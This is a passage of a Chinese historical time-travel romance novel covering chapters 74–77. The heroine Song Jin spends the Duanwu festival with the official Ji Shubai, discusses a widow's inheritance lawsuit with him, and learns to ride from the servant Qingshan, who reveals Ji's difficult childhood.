宋瑾条件反射道:“Yangchunnoodles.”
一大口面送进嘴里,宋瑾满足地吸了口气,又用筷子去夹牛肉,季舒白的声音冷冷飘来:
“你刚刚没说这个词。”
宋瑾去夹牛肉的手瞬间顿住,拿眼睛去瞄季舒白时,就见他稳稳地吃着面,不气不恼,就是简单的识破了。
“咳——”宋瑾咽下面条,学着季舒白的样子咳了一声,夹了一块牛肉送入口中,嚼了嚼道:“这牛肉,没我做的好吃。”
“那怎的不见你做?”
宋瑾道:“买不到好材料,不过没关系,等我这次回去了,给你做一道你从没吃过的菜,保证你会喜欢。”
说完话锋一转:“这次回去,卢大人会把红契和文书给我吧?”
“我会......”
季舒白沉浸在点破的喜悦中,冷不防被宋瑾套了话,等反应过来时已经有些晚了。
“这个......东西不见了,回去应该弄好了,我临时前托人去办了......”
季舒白撒谎撒的磕磕绊绊,一张脸都憋红了,宋瑾毫不客气地笑了起来。
“我听说聪明人更擅长撒谎,怎么季大人撒个谎这么难?你这个进士不会是假的吧?哈哈哈——”
季舒白听了更气,可又理亏,一只手抓着筷子,吃也不是,不吃也不是。
“你怎么知道在卢大人那里?”他放弃狡辩了。
宋瑾笑笑:“这红契和脱籍文书是分两次拿的,第一次就算是你弄丢了,那第二次呢?怎么次次丢的都是我的?”
宋瑾说完眉头一挑,颇有点挑衅的意味在。
季舒白败下阵来:“回去会给你的。”
“这可是大人说的哈,再骗我,你可就是个撒谎精了,再也不能批评我了。”
季舒白撇撇嘴,这顿饭吃的,食不知味。
74. 端午
众人吃过面重新上船,那船夫更加卖力了。
宋瑾肚子里塞的满满当当,此刻更是动也不敢动,只好乖乖坐在那里,等着入江换大船。
这天傍晚众人换船,夜里便不必靠岸,直接顺着江流而下,宋瑾晃了一天,此刻晕晕乎乎,上了船便上了床,连晚饭也不吃了。
到了第二日,整个人也是晕晕乎乎的起不来床,更别提出门吃饭了。
季舒白只得命人敲门,强行把人敲下了床,拖着去吃了饭才把人放回去。
第三日便是端午。
宋瑾一早被人敲醒,等出了门来方才发觉船已停在江面,青杉热情地给她解释。
“今儿端午,等会子江上会有赛龙舟,咱们呀不走了,就候在这儿看比赛。”
宋瑾兴奋不已,快步跑到甲板上去看,果见不远处的岸边停了好几艘龙舟,岸上依稀可见有些人影,想必等到开赛时会更加热闹。
“季大人——季大人——”宋瑾欢欢喜喜地去找季舒白:“咱们今日上岸么?”
季舒白一顿早饭还没吃完,就看见宋瑾蹦进来,听见问话也不急着答她,只是指了指身边的位置叫她坐了吃饭。
“先吃饭,吃完了等着看比赛,等湖上热闹看完了,咱们就上岸。”
“岸上会很热闹么?”宋瑾一边啃了口大饼一边问。
“会很热闹。”
“都有什么呀?”
“卖吃的,卖玩的,看风景的,什么人都有。”
宋瑾一边嚼着大饼,一边思考:“我听说端午要带荷包,还有什么五毒帽,辟邪的,你怎的不带?”
“吃你的饭。”
季舒白懒得解释,一边的青杉坐不住了:“荷包里头还得放些白芷川穹甘松呢,包起来好闻的很,有些姑娘手工好,那荷包做的可漂亮了,我家大人去年就收到一个。”
“怎么才一个?”宋瑾还以为季舒白有多吃香呢。
“一般姑娘也送不进来呀。”
“哦,我明白了。可惜今年不在老宅,不然指定还有。”
宋瑾的眼前浮起裴姑娘的身影,心中不免胡思乱想起来。若是那日之后她还能见到裴姑娘,今年端午她会不会赠自己一个荷包呢?
“不在也没关系呀,陆姑娘送也是一样的。”
宋瑾连连摆手:“我可不行,我要是送了叫人看见你家大人可怎么解释?”
“嗐,你怕什么,又不要——”
“咳——”
宋瑾跟青杉两人当着季舒白的面,聊得肆无忌惮,逼得季舒白不得不出声制止。
“差不多就行了,赶紧吃,吃完到甲板来。”
宋瑾哦了一声,赶紧埋头吃起来。
端午的太阳略毒了些,宋瑾站到甲板上时,日头已经爬的很高了。热辣辣的阳光砸到江面,随着水波碎成千万块,又一点一点的折进人眼睛里,刺人的很。
宋瑾一双手遮在头顶,拿眼睛去瞧岸边,人群渐渐稠密,数只风筝比赛一般相竞爬上天空。几艘小船从岸边出发,似乎要与他们一般,在这江面占据一个观赏的好位置。
随着时间推移,宋瑾看见浆手们依次上船,将龙舟划到指定位置。
宋瑾越发激动起来,整个人也往船舷边靠去。
“小心些。”
季舒白一边叮嘱一边将一把打开的折扇放在宋瑾头顶,无端落下的一片阴影引得宋瑾抬头去看,一下就看到一幅雨中翠竹的扇面,两只手不由自主地去抓。
“喜欢?”
“嗯,好看。”
季舒白轻笑一声:“改日送你一个。”
“为什么不送我这个?我就喜欢这个。”
宋瑾有些爱不释手,季舒白见状,将扇子朝她手里推了推:“送你。”
“谢谢季大人。”宋瑾收的毫不犹豫,径自抓在手中观赏起来。
扇面中央是一幅竹石图,右侧用行书写了几行诗,宋瑾一时认不全,倒是对那落款处的印章印象深刻。
“咦,这是你的印章?”
季舒白意味深长地笑笑:“印象深刻是不是?”
宋瑾知他在笑,此刻只装不知道,一手抓着扇子举过头顶,自己给自己遮起阳来。
岸边观众到齐,江面水手就位,只听一阵鼓声冲天而起,数十艘龙舟齐齐出发。
江面白浪滔天,岸上呼声震地,宋瑾一手抓着船舷,一手举着扇子,整个身子都往江上探去。
但见舟如江面之豚,棹如飞鱼之鳍,随着那鼓声你追我赶,不相上下,一时间飞珠溅雪,白浪翻滚,若不是季舒白扯着宋瑾的胳膊,只怕她就要掉下去了。
直到第一艘龙舟冲过终点,宋瑾才稍微松口气。
“是谁的赢了?”
季舒白见她收回身子,笑问她一句。
宋瑾哪里知道谁跟谁,自然是摇摇头:“不知道。”
季舒白轻笑一声:“还好那龙舟停了,若是再不停,只怕你也要扑进江里去划一把了。”
宋瑾知道他是取笑自己刚刚的样子,若是换做平时,她一定会挤兑他看会水的人游泳有什么好的,得看旱鸭子扑腾才有意思。
可是她今天心情好。
“谢谢季大人。”宋瑾笑嘻嘻的。
季舒白停了揶揄,转身对着青杉道:“靠岸。”
大船就近靠了岸,因为时辰还早,季舒白便带头在岸边闲逛起来,宋瑾自然是跟上。
岸边热闹的很,卖粽子的,咸鸭蛋的,五彩绳的,花环的,数不胜数,宋瑾穿梭其中,目不暇接,几次差点儿跟丢。
季舒白见她那样子,索性命人去提前做安排,自己陪着宋瑾慢慢逛起来。
“季大人,咱们是不是也该凑个热闹?”
宋瑾嘀嘀咕咕,季舒白缓步跟着:“晚上我们住驿站,可以喝雄黄酒。”
“啊?”宋瑾一听雄黄酒,眼睛瞪得老大,那玩意儿可不兴喝呀。
“你啊什么?”
“我雄黄过敏。”
“什么?”
“就是喝了会生大病的意思。”宋瑾找了个理由拒了雄黄酒,倒是对路边摊子上的五彩绳兴趣颇大。
“季大人,没有荷包我送你个五彩绳吧。”
宋瑾抓了根五彩绳在自己身上比划了下,接着放季舒白身上比划。
季舒白站在那里冷眼看她:“那是孩子带的。”
“啊?大人不能带么?”
卖丝线的婆婆赶紧推销:“都能带的,都能带的,小孩子带手腕脚腕,大人带......”
“带腰上吧。”宋瑾一把勾住季舒白腰间的绦带:“这里正合适。”
“对对对,这里正合适。”
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“这哪里够长。”季舒白往回扯扯自己那根翠色绦带,眼神里掩盖不住对那五色丝线的嫌弃。
然而宋瑾浑然不觉,转头问那卖丝线的婆婆:“可有长些的。”
“有的有的,我马上编与你。”
宋瑾高高兴兴的等,季舒白却眉头紧皱,宋瑾有些看不下去了。
“季大人,开心一点不是罪过。”
“你说什么?”
季舒白忽然变色,宋瑾没在怕的:“我说,开心一点。你看看街上的人,再看看你。”
宋瑾话音刚落,那编绳的婆婆也笑着开口:“这位公子太严厉了,还好我孙儿今日没来,否则吓煞人了。”
季舒白听了这话,脸色更难看了,一手扯过被宋瑾勾住的绦带往后退了一步,不大高兴起来。
宋瑾也不理,看着婆婆飞快地编好绳子,招呼季舒白过来试试长度。
谁料季舒白侧了侧身子,不肯过来。
“你这人怎么还耍小性了呢?”
“谁耍小性儿了?”
宋瑾啧了一声,这么大个人了,还要哄。
她三步两步地走到季舒白背后,伸手推他过来:“人家送你礼物,那是好心,就像大人带我看龙舟一样,是好意,我记着呢。”
“谁要你记了?”
“我自己,我自己要记行不行?”
季舒白被推到摊子边,两个人帮着试了试长度,刚好合适,于是宋瑾接过绳子学着那绦带的样式打了个结。
“好了。”
宋瑾去问价付银,季舒白垂首看着腰间那抹五彩色,咬着唇,忍下了那句“难看”。
“走,我们再逛逛。”
季舒白被推着走,腰上的绚丽颜色让他觉得众人都在看他,以至于整个人都不自在起来。
“你可以送我荷包的。”至少不那么奇怪。
“荷包那是姑娘送给心仪的男子的,我送你合适么?”
季舒白不吭声了,只用一只手捂着腰。
宋瑾逛着逛着被一阵香气吸引,追着香气走到了一个卖茉莉花串的摊子前。
“公子买个花串吧,早上才摘的,新鲜着呢。”
“怎么卖的?”
“一个铜板两个串。”
宋瑾一只手按在大腿上,摸了摸那个不存在的口袋,坚定地拉着季舒白走了。
“怎么不买了?”
“四十串都够我买只鸡了。”
“你的鸡卖出去可不止四十串茉莉花。”
“那是我有本事。”
宋瑾拉着季舒白直逛到午时,逛的腹中饥饿,这才在一个粽子摊子前停了脚,买了几个白米粽子吃起来。
期间有小吏来说话:“大人,轿子都准备好了,随时可以去驿站,要不要派人去通知下知县大人。”
“不了,端午节都歇歇吧,明日咱们再去县衙。”
那小吏应声走开,去了另一张小桌上也吃起了粽子。
宋瑾咬了口蘸了白糖的粽子道:“这次还要下田么?”
“这是民生大计,必须要去的。”
“我也想骑马。”
季舒白轻笑一声,这才明白宋瑾要说什么。
“我近日没得空,等到了县衙,我安排青杉教你,你别一个人乱跑,这里我也不大熟。”
宋瑾嘿嘿笑着道好。
75. 案子
宋瑾逛的累了,吃过粽子后便不再逛,直接跟季舒白登了轿子往驿站里头去。
众人到了驿站各自歇下,宋瑾也回了自己的房间。
房间位置不错,二楼的一个角落里,很僻静。推开后窗便是竹林,一阵微风吹过,发出沙沙的响声,阳光自叶尖跳动,将翠绿的叶片打的透亮。
宋瑾坐在桌边看向竹林,隐约有蝉鸣之声传来,人也不自觉地趴到桌上,闭上眼睛前她想,今夜应当可以看见萤火飞舞。
斜阳挪过第三块地砖的时候,宋瑾醒了,醒来第一件事便是去找季舒白。
除了找他,她好像也没事可做。
季舒白到了驿站第一件事便是找人聊天问话,又吩咐青杉安排接下来几日的事情,等宋瑾来找他时,他已经忙完,此刻正坐在那里喝茶。
“季大人?”
宋瑾顶着一张用清水抹过的脸,额角的胎发还湿哒哒的,就这么站在门口喊他。
“有事?”
宋瑾道:“今日端午呀,咱们晚上是不是应该有点儿什么?”
季舒白笑笑:“我安排人去做饭了,进来等着吃吧。”
宋瑾蹦进房间里跟他一起坐了喝茶,季舒白饶有兴味地看着她喝,看得宋瑾不好意思起来。
“你看我干嘛?”
“我一直有个问题想问你。”
“那你问啊。”
季舒白晃动着手中杯盏,问道:“那日在长洲县衙,你为什么丢了?”
“啊?”
“当日我问过你,可你不愿意说。现在呢?”
宋瑾咬着茶盏,低声嘟囔:“就是出去走走......”
“跟那桩案子有关?”
宋瑾一惊:“你怎么知道?”
季舒白笑笑:“那晚我同知县谈话时,顺嘴一问,何况你搬着个条凳坐在大堂后头,那也太惹眼了。”
宋瑾尴尬笑笑:“下次不坐了。”
季舒白却不大在意:“无妨,想听便听。只是现在是不是可以跟我说说,为什么听完了就独自跑出去了?”
宋瑾转动着手中杯子,噘着嘴嘀咕:“我不喜欢那县丞断案的态度,和稀泥。”
季舒白想了想道:“那桩案子情形复杂,县丞也不敢擅作主张,只能拖着等知县来审。此案若是知县审理不定,只怕还要到府上去告。”
宋瑾用手指点着杯沿不说话,季舒白只好问:“怎么了?”
宋瑾反问:“此案若是由大人来审,大人会如何判?”
季舒白皱眉垂眼,略做思考后道:“若是由我来审理,必然要另外寻找证人来确定那范氏与林家大郎的关系。这件事难就难在林家一概不知,偏偏林大郎又与范氏在广东相识。据范氏父女的说法,林大郎当初是下过娉的,是正式迎娶,只是不曾到苏州来。”
“林大郎病故前,不曾留下遗言,更不曾提起那头的妾室,这头便也不知晓。如今不仅人找来了,还带了个儿子,自家人都辨不清,何况衙门里。”
宋瑾垂着头不吭声,季舒白只好继续道:
“这桩案子不是一日两日便可完结的,十之八九这诉状要递到州府去,你若关心,等到时候有了结果,我再告知与你。”
宋瑾抬起头来,眼睛里带着雾气:“我想问问,那原配李氏呢?结发夫妻,不知道自己的丈夫在外纳妾,丈夫病了,她独自照顾,丈夫死了,也是她料理的身后事,如今儿子也没了......”
宋瑾有些哽咽起来:“那...她怎么办?难道就要这样看着旁人来继承丈夫的财产,自己却无能为力么?”
“你是为了这事?”
宋瑾自顾自道:“我在后堂听着,那李氏原说要守节,不再改嫁,一心照顾儿子和公婆。可如今这个样子,难道不怕寒人心么?”
季舒白没吱声,宋瑾接着道:“我想问问,若是那孩子真是姓林的,这算庶子呢,还是奸生子呢?”
季舒白叹了口气道:“这件事情,倒是可以考虑考虑李氏的想法。若是证人皆证明孩子属于林大郎,李氏又愿意接纳,那么留下这个孩子在家中,对她更好。”
“这好在哪里嘛?”宋瑾不解,自己的丈夫在外无声无息的生了孩子,如今自己的亲儿子没了,外头私通生的孩子倒要来继承家产,好在哪里啊?
宋瑾的心情由伤心转做悲愤,声音也不自觉地加大了些。
季舒白安抚她:“你听我慢慢同你讲。”
宋瑾坐在那里一扭头,哼了一声。
“你也知道李氏说要守节,可如今这儿子没有了,她在李家的日子必然不如从前好过。若是范氏这个儿子能认祖归宗,她膝下便也算有了儿子,她又没有亲生孩子,有了这个孩子对她并无害处。若是抚养的好,将来便是依靠,否则你当真要那林氏守着一对老人过完这一生么?”
宋瑾嘀咕:“为何不叫她改嫁了?”
季舒白反问:“你怎的不问问李氏可愿意?她可是放过话的,若是如今儿子没了便要改口,又叫人如何说她?”
宋瑾皱着眉头,赌气般将身子扭的更斜了些,可心里也打起鼓来。
“好端端的,为什么非要有守节这种东西?”
“不喜欢?”季舒白轻声问。
宋瑾扭头质问:“谁会喜欢?”
季舒白被问的一愣,也将身子转开,过了半晌宋瑾才听见他低声说道:“有时候...或许会有人需要它。”
“谁会要?若是李氏没有说过守节的话,此刻不是想改嫁便改嫁了么。”
季舒白叹息一声道:“有些事情并非你想的那般简单。”
宋瑾撇着嘴,两个人相互赌气不说话。
过了半晌,还是宋瑾先开口:“我能不能问问,我家主母,就是柏家的二奶奶,她的案子是怎么判的?”
季舒白倒是没跟她计较之前的事情,低声答道:“这桩案子并非由我审理,不过见过判词。你主母,也就是柏家二奶奶,提出的立继之人不光是柏家大房和族里不同意,审理的通判官也不赞同。性子软弱,不能成事,在族里也不被人爱戴,看起来...看起来像是二奶奶立了一个傀儡,所以判词上赞同了应继之人,也就是大房长子来继承。”
宋瑾手指扣着桌面,小声问:“就没有别的了?”
“没有。”
“补偿什么的......”
“她选错了人,什么也没有。”
宋瑾闭了嘴,不再言声。
“没有想到,你还会关心柏家二奶奶。”
季舒白似乎有
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些欣慰,然而宋瑾立刻反驳:“没有啊。”
“那你为什么问这个?”
“我怕我将来做寡妇嘛,好有个心理准备。”
季舒白:“......”
晚饭被人适时送了进来,宋瑾打眼一瞧,先上来的是切开的咸鸭蛋,烧黄鱼,炒鳝鱼,一碟子黄豆,还有一壶酒。
宋瑾先揭了壶盖去闻,一边的季舒白见了道:“路上生病不好,所以没上雄黄酒。”
“那岂非少了一黄?”
季舒白忘了刚刚的不愉快,去逗她:“那我叫人添上雄黄?”
“不用。”宋瑾连连摆手:“没有也无妨。”
上完了四黄,底下人又上了好几道菜过来,一边上一边报,宋瑾一一看了,偏素的有芙蓉豆腐,松菌蓬蒿,韭菜河虾,大荤的有肉汤煨牛舌,秋油蒸小鸡,鸡汤滚鱼圆等等,最后是一道爆炒螺丝,那人热情解释,说用黄酒烧制,下酒最好。
末了还一脸歉意:“大人,驿站简陋,只得这些菜,大人将就些。”
季舒白笑笑:“已经很好了,麻烦你们了,下去吧。”
那人弯着腰出了门去,宋瑾笑呵呵的等着动筷,季舒白见她那样便道:“吃吧。”
宋瑾夹了一筷子鳝鱼放进嘴里,边吃边道:“没有我炒的嫩。”
季舒白轻笑一声:“嫩是嫩,就是......”
宋瑾听他话说到一半,扭头看着他笑,她记得那晚他被辣哭了,此刻想起来笑得更坏了。
“少得意,吃你的菜。”
宋瑾扭头继续吃。
“这螺丝没有牙签唉。”
“什么?”
宋瑾也不说话,起身到窗边探身揪了根竹枝丫过来,折了两根末梢当做牙签,将其中一根塞到季舒白手里。
“这个做什么用?”
“我教你。”
宋瑾拿了一个螺丝在手里,用牙签一般的竹枝子挑开盖子,然后往肉里一插一挑,螺肉全部被扯了出来。
宋瑾就着螺口刮掉不能吃的部分,举着螺肉对季舒白道:“这么吃,方便。”
季舒白轻笑一声,跟着学起来,宋瑾自顾自去斟酒,微抿了一口,辣的她直哈气,舌头也忍不住吐了出来。
“怎么?你也怕辣?”
季舒白记她刚刚嘲笑自己的仇,现在见她也这般,免不了揶揄一番。
“这不一样。”
“哪里不一样?”
“这是呛。”
宋瑾不爱喝白酒,以往也是红酒喝的多,白酒只觉得茅台还可,其他白酒喝的极少。
眼下这酒,倒有几分伏特加的滋味在,对宋瑾而言,这酒就不该喝纯的,得兑了才行。
宋瑾端着酒杯,脑子里已经开始想配方了。
这个季节黎朦似乎还没有成熟,樱桃也没有了,甜瓜或许可以试试,就是出汁少,加上冰块,可以减少呛口的辣味,多些甜味,入口会更好。
可惜眼下没条件,她只能将就了。
“在想什么呢?”
宋瑾满脸得色:“现在不能告诉你,等有机会了,我给你喝个好酒,保证你没喝过。”
这一晚宋瑾就着呛口的酒,回忆了数个鸡尾酒方子,誓要在这大明喝上顺口的酒。
76. 骑马
众人在驿站过了一夜,宋瑾喝的晕晕乎乎,终究没有看到那飞舞的萤火,便被季舒白和青杉提着回了房间,这一夜睡的极沉。
第二日一早,众人出发往县衙去了,季舒白虽没安排人去通知,可是驿站却私下派人去知会了,于是等众人到的时候,知县老爷已经带着众官等在衙门门口了。
宋瑾酒劲儿未过,晕晕乎乎地跟在后头,别人走哪儿她跟去哪儿,直到季舒白一个转身回头,她差点儿撞上去。
季舒白低头看着宋瑾,宋瑾只管看前面那双脚,脚不动她不动,待站半晌才反应过来自己也该转身才是。
懵懵懂懂的转身站在季舒白前头,就听见后面一声叹息。
“青杉,先去公廨安排下,你不用跟过来了。”
宋瑾没反应过来,胳膊已经被人拽走了。等她清醒过来的时候,已经是晌午时分了。
她晃出门来,一边埋怨酒差劲,一边四处找人,结果青杉先看见了她。
“你醒了?”
宋瑾揉了揉眼睛:“我饿了。”
“嗐,你也太能睡了,我带你去吃。”
宋瑾伸了伸胳膊跟上:“我昨天喝多了。”
“多什么呀?”青杉一语戳破:“你才喝了半壶酒,人就晕了。”
“什么?半壶?”
“不然呢?”
宋瑾脑子一个激灵,这大明的酒这么厉害么?还是昨晚的酒厉害?她挺能喝的呀?
宋瑾想了半晌想出一个原因来,蔓草这身子骨不耐酒,不像宋瑾,那是酒桌上一顿一顿又一顿练出来的。
以后喝酒得收敛些了。
宋瑾跟着青杉在膳房里一边吃饭一边聊天,季舒白这个时辰早就出去了,留下青杉是怕宋瑾又乱跑,况且她又宿醉未醒,怕她闹出什么事来。
宋瑾白他一眼:“我酒品好着呢,顶多睡睡觉。”
青杉自鼻子里哼了一声:“我看未必。”
宋瑾不理他:“你不是要陪着我么?那我们去骑马吧,你家大人说的,让你教我骑马。”
“好啊,我带你去,正好我也闲着。”
青杉是闲着,记事起就跟着季舒白,从小书生跟到五品官,季舒白不停他不得停,季舒白停了他还得候着。
今日倒巧了,主子出门没带他,叫他领着宋瑾去玩,可不是难得闲一回么。
等吃完饭,青杉就领着宋瑾到马厩里打着季舒白的幌子,牵了两匹马出来,一匹高大的,一匹稍矮。
青杉将一根缰绳往宋瑾手里一塞:“呐,矮的归你。”
“为什么矮的归我?”
青杉笑道:“你会骑么?一来就要高头大马,也不怕摔下来。”
宋瑾看了看那匹背比自己脑袋还高的马,不犟了,摔了可不是好玩的,乖乖牵了那匹矮马跟着走。
两人牵着马出了衙门,宋瑾一看街道上端午余热未过,四处都是人,她更不敢骑了,怕踩着人。
可青杉要她上马。
“万一马跑起来怎么办?”
“你慌什么,有我呢。”
青杉不由分说要宋瑾踩着石头上马:“咱们得去郊外骑马吗,若是牵着走,还没出城门天就黑了。”
宋瑾只得依从,只是那根缰绳交到了青杉的手里,他骑一匹马,牵一匹马,宋瑾只管坐稳了,一路往城外去了。
坐在马背上并不是一件多么舒服的事情,先不说这大明的马鞍有没有现代的舒适,反正宋瑾也没用过,重要的是她略有些害怕。
那么大的一个牲畜在自己屁股底下,但凡闹个小脾气蹦跶一下,她魂都得飞出去。
因此她坐在马背上,两只手只顾抓着马鞍,一双眼睛直勾勾盯着马脖子,生怕它忽然跳起来,更别提看街头市容了,就这么一直熬到了出城。
等二人出了城门,路上行人却不见减少,尤其城门处,简直热闹一片。
宋瑾抬头看去,远处山脉若隐若现,近处稻田绿油油一片,稻穗尚未结出,目前还是扬花期,若是此时来一场大暴雨,确实很影响收成。
想到这里的时候,宋瑾忍不住抬头去看天,还好,瓦蓝的一片,没有一丝要下雨的迹象。
“扶稳了。”
青杉在前头喊了一声,宋瑾条件反射将双腿夹紧,一双手揪着马鞍,生怕自己被甩下来。
青杉则慢慢悠悠地一夹马肚,口中喊了一声,那马便抬起脚慢慢小跑起来,宋瑾坐下这匹也跟着跑了起来。
骑马的过程不算很顺利,宋瑾压低了身子,一边确保自己不会掉下来,一边想这大明的医疗条件,她可不想遇上巫医喝什么符水,因此乖乖听青杉的话,一个多余的动作也不敢做。
等到了后面,宋瑾只觉得两条大腿都快僵化了,直喊青杉让她休息一下,等人溜下马来,只觉得两条腿都不属于自己的了。
宋瑾走路走不顺畅,万分尴尬地绞着腿坐在地上,姿势奇怪的很。
青杉是经历过的,一看便笑了。
“你呀,还是骑少了。有些急递一骑便是一天,根本不敢歇的,你这才多久?”
“我才学多久?”
青杉笑笑,将两匹马栓在一棵柳树上,解下囊袋递给宋瑾。
“要不要喝水?”
宋瑾接过喝了两口问他:“你家大人不是长洲县人嘛?这苏州都是轿子用的多,怎么你们还会骑马了?”
青杉道:“原先是不会的,后来我家大人上京赶考,考中进士之后留在了京中。那时候别提轿子了,有个骡子就不错了。后来还是柴大官人帮着买了两匹马,我跟大人学着骑了,这才会的。”
“你家大人,跟柴大官人关系很好啊。”
宋瑾有意无意打听着,然而这青杉跟他主子一个德行,嘴严的不像话,只“嗯”了一声表示同意。
宋瑾只得再问:“他们怎么认识的呀?”
青杉这才答道:“其实我也不知道,我跟着我家大人的时候,他们就已经认识了,约莫是一个学堂,两人就混熟了。”
“混?”宋瑾没办法把这个字眼加在季舒白身上,果然青杉也察觉出来了。
“嘿嘿,应该是柴大官人非要拉着我家大人一块儿玩。”
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“为什么?”
“还能为什么?长的好看,读书又好,先生也夸他,都叫跟他学,那柴大官人可不就跟他学么,下了学就把人往自己家里头拖,说要一起学。”
宋瑾看着一片稻田,脑中想着还是少年的季舒白被小胖子柴恒拖进自己家里,美其名曰学习......
“真的学么?”宋瑾不大信。
“也学的吧,边学边玩,主要是柴大官人玩,我家大人学。但是有我家大人在,柴家老爷不会骂他,所以他喜欢拖着我家大人去他家。”
“那季家人能同意啊?”宋瑾拐了个弯去打听。
“一开始也是不同意的,说是打扰了人家,后来嘛,就同意了。”
“为什么呀?”
青杉看着远处,想了想才道:“说是去学,会打扰了人家,但其实我家大人到了柴家后,柴家人伺候的周到。好吃好喝的对他,跟他家公子没啥两样,就连柴大官人的功课都问我家大人,因为他说实话。”
听到这里,宋瑾有些想笑,强行忍住了。
青杉还在继续:“柴家家大业大,不在乎多双筷子,我家大人夜里在柴家读书,烛火都比家中亮堂些。每每待到夜深,都是柴家安排轿子送回来的。逢着节日什么的,也塞两斤肉给他,要是碰上柴大官人又胖了,要裁新衣,我家大人都能有一份。”
宋瑾咬着指甲盖,莫名有些心酸起来。
“那你家大人肯收?”
谁年轻的时候还能没有点儿骨气呢?尤其是他们这帮读书人。
“嗐,一开始指定不收,后来嘛,柴大官人哭天抢地打着滚说他嫌弃他,被逼得没办法,只好收了。”
宋瑾有些想笑,然而青杉接下来的话她有些笑不出来了。
“其实谁都看得出来,柴家就是想照应我家大人,奈何夫人百般推脱,只好让还是孩子的柴大官人来。两斤肉对柴家来说,还不够一顿吃的,对我家大人就不一样了。”
宋瑾听到这里皱着眉问:“可是,季大人的爹不是海道提督么?这官不小啊。”
青杉听到这个话没有立即答她,而是抓起手边一个石头狠狠扔了出去,语气也狠了起来:
“此一时,彼一时,人都死了,谁还认你。甭说外人了,连自家人都来踩你一脚。”
“那后来呢?夫人呢?”
青杉听了这个话猛然回头看向宋瑾,冷冷道:“这话可别问我家大人,他听见了必然要发脾气的。”
宋瑾被青杉忽然转变的态度吓了一跳,连连点头道好。
青杉也不理她,转身去牵马,宋瑾跟在后头小声问:“后来的事不能说了嘛?”
“死了。”青杉说话时头也不回:“我家大人十六岁时夫人就死了。”
宋瑾不知道该怎么接下去,再蠢也该知道这不是个愉快的话题。
在她愣神的空档,青杉已经翻身上马:“我家大人没见过提督大人。”
简简单单两句话,已经把季舒白跟爹娘的关系说清楚了,父子无缘得见,母亲在他十六岁时亡故,族人关系不亲,具体原因她也不好再问。
77. 茶味
这一日宋瑾仿佛知道了季舒白什么不得了的秘密一样,还是很心酸的那种,回来再看他,难免有些心疼起来。
不比初来时,那个苦不堪言的家奴身份让她看谁都不顺眼,如今折腾一圈胜利在望时再看季舒白,人心都善了。
大概像宋瑾之前说的那样,做好人是有条件的,如今她好日子就在前头,她的心也跟着善了。
然而季舒白不知道这些,只是觉得她看自己的眼神怪异的很。
“你今天怎么了?酒还没醒透?”
“啊?”
宋瑾回过神来,慌里慌张地乱看,结果瞟到青杉拿眼瞪她。
他们说好了,今日谈过的话,一个字也不许在季舒白面前提起。
“哦,骑马骑累了,青杉不大会教人。”
“你胡说!”青杉哪里肯依:“明明是你笨!”
宋瑾本就是找个理由,自然不会同他吵:“季大人何时有空,你教我骑马呗。”
她听见青杉“嘁”了一声,季舒白只是笑笑:“我这两日实在没空,不过过几日会闲一些,咱们不着急,可以慢慢来。”
“那大人过几日教我。”
青杉看不过眼,抢着道:“大人,你把她交给我,我保管三日之内教会。”
季舒白觉出味儿来:“你们二人怎么回事?”
两个人一个都不吭声。
就这样,第二日宋瑾又落到了青杉手里,这一回青杉是真的不客气了。
他让宋瑾骑在马上,缰绳递给她,叮嘱道:“抓紧缰绳,别撒手,身子往前略低些,腿夹紧了,别摔下来。”
宋瑾还在听着指挥调整动作,青杉便一个巴掌拍在了马屁股上,那马腾的就窜了出去,宋瑾惊的整个人贴在马背上。
“青杉!你完蛋了!”
宋瑾一边骂,一边抓紧缰绳,口中骂骂咧咧,手上却不敢放松,没多大会子青杉便骑着另一匹马追了上来。
“怎么样?骑马简单吧?”
简单个屁!魂都飞了!
宋瑾看着前方,一刻也不敢放松,旁边青杉见她渐渐把握住了,扬起鞭子就要抽她的马,惊的宋瑾大叫起来。
“别!不许动我的马!”
青杉只好收手:“你慌什么,这马训练纯熟,不会把你抛下来的。”
“我不熟。”
青杉轻笑一声,等着那马自己跑累了终于停了下来,宋瑾心中憋着气,拽动缰绳就要掉头回衙门里。
她着急去告状。
奈何那训练纯熟的马匹跟她不熟,捣鼓半天也没能调好方向。
“你要干嘛?”
“回去,找你家大人,告你的状。”
青杉大笑起来:“你告我的状?别城门还没见到,就被盐徒一棍子敲晕了,若是叫他们知道你是女子,恐怕连人都回不来了。”
“盐徒?”宋瑾一脸懵:“什么盐徒?”
“跟土匪差不多,沿着河道讨生活,见着落单的人,先给一闷棍,敲晕了摸走银子。遇着富贵的,那就勒索,遇着穷的,就扔了,若是遇着女子......”
宋瑾一把抱住胸部:“怎样?”
“还能怎样?别一个人乱跑就是了。”
不论是真是假,宋瑾都不敢拿自己的性命去赌,只好乖乖地停在那里。
“我要下来。”
“你下去就是了。”
“你把我丢在这里怎么办?”
青杉嗤笑一声:“我带你出来,自然要完好无损的带回去,不然我怎么跟我家大人交代?”
“算你有点良心。”宋瑾嘀咕着,从马背上滑了下去。
刚刚受惊不小,惊恐多于愤怒,此刻宋瑾也不想跟青杉吵架,只想着回去向季舒白狠狠地参他一本。
青杉见宋瑾停了下来,自己也就下了马,陪她一起坐在树下。
“你恼什么?一开始骑马谁不受惊吓的?”
宋瑾哼了一声,转了转身子。
要说这个逻辑,她还真听过,初学自行车时就是这样,总听人说学骑车没有不摔的,摔着摔着就摔会了。
她就是这么学会的。
“你吧,人也不算坏,就是气性大,脾气古怪。”
“我古怪?我能有你家大人古怪?”
青杉不爽:“我家大人哪里古怪了?我家大人好得很。”
宋瑾又问:“我听你说,你家大人就没有被女人伺候过,为什么呀?你跟他......”
宋瑾的脑子里转过无数个她看过的故事,这大明的书生跟书童,嘿嘿——
“你脑子里想什么呢?你一个女子,能不能想些好的?”青杉气得站起身来。
“我什么都没说,分明是你乱猜了栽赃我的。”
青杉说不过她,重重地坐下:“你这个人,就是嘴上没把门儿的,怪不得能闯出那么多祸事来。要不是我家大人护着你,卢大人早就收拾你了。”
“收拾我?卢大人?”宋瑾一脸的惊讶,这关卢大人什么事啊?
那份巴豆明明是给季舒白的,他不吃,任由卢骏年给抢了,这卢骏年不分青红皂白,账全记她头上了。
“不然呢?你以为我家大人为什么把你带出来?”
宋瑾还在想着那给她添乱的卢骏年,因此说话也没好气:“或许是你家大人喜欢我呢?”
“啊呸!才不会,我家大人说了,他不会娶你!”
宋瑾愣了愣,说喜欢本是玩笑话,可是季舒白都跟人谈到娶她了?为什么谈这个?跟谁谈的?
“什么时候说的呀?跟谁说的?”
“卢大人啊,卢大人问我家大人是娶妻还是纳妾,或者做通房丫鬟。”
